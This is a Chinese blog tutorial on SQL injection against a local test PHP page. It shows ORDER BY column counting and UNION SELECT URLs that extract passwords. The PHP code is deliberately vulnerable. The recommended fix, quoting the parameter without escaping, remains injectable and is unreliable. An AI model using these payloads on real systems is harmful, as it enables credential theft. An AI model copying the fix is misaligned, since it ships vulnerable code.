zoukankan      html  css  js  c++  java
  • SQL注入的几种有用办法

    一、查询表中包括有多少列: 这里以DISCUZ举例说明,例如以下
    select * FROM pre_forum_thread ORDER BY 80
    返回,Unknown column '80' in 'order clause'。这样能够判定一定小于80列,以下再试用 39
    select * FROM pre_forum_thread ORDER BY 39
    正常返回了数据,我们判定一定大于等于39,因此仅仅要再试一下40就能够了,这里略过试用,对于开源程序,我全然能够知道他就是有39列。 二、构造參数,读取数据库中的密码 这里以本地创建的一个表为例,前提是參数没有被过滤等操作,表 account 含有三个字段。分别为 id,admin,password 表内包括数据为:
    1 admin 12345678
    2 test 134545
    创建PHP读取数据库文件 x.php:
    <?php
    $link = mysql_connect('127.0.0.1','root','11111111');
    mysql_select_db('xtest',$link);
    $id = isset($_GET['id'])?

    $_GET['id']:1; $sql = "SELECT * FROM `account` WHERE id = " . $id; $query = mysql_query($sql); while($row = mysql_fetch_array($query)){ echo $row['admin'] . "<br/>"; } ?>

    訪问地址 http://127.0.0.1/x.php?id=2 返回数据 test,到这里開始SQL的注入使用,构造參数后的地址
    http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2
    在返回数据中。发现2被返回了,因此,须要改动这里的2位置为想要的字段内容,比方说 password ,即地址改动为
    http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2
    运行地址后返回数据:
    test
    134545
    这样密码就得到了。 当然这里仅仅是简单的举例说明。没有对密码进行MD5加密。假设是MD5加密或其他加密的话,仍然须要接下来的破解,就不是这里主要讲述的内容了。 此问题的解决的方法,说一个最简单的吧 ,将SQL语句 $sql = "SELECT * FROM `account` WHERE id = " . $id; 改动为
    $sql = "SELECT * FROM `account` WHERE id = '$id'";
    三、在第二个问题中,发现用户是使用了 while将全部数据进行循环得出的数据,假设用户不是循环。而是直接输出了最后一条数据怎么办呢?
    这时。仅仅要将參数又一次改动,就能够仅仅返回union回来的数据了。例如以下
    http://127.0.0.1/x.php?

    id=3 union select 1,password,3 from `account` where id=2

    由于表里面没有这条id=3的数据,又或者
    http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2
    这里非常明显 1和2是不相等的
  • 相关阅读:
    ImageLoader配置(凝视)
    Javaproject集成log4j 2.x
    kafka入门样例 for java
    php&amp;&amp;页面静态化
    Windows 下Oracle database 9i 64bit 仅仅有 Windows Itanium 64bit
    苹果新的编程语言 Swift 语言进阶(三)--基本运算和扩展运算
    Visual Studio2008 和2010 执行程序出现的黑框马上消失解决方法
    Cocos2d-x 3.0 Schedule in Node
    zend framework获取数据库中枚举类enum的数据并将其转换成数组
    OpenGl 坐标转换
  • 原文地址:https://www.cnblogs.com/mfmdaoyou/p/7260221.html
Copyright © 2011-2022 走看看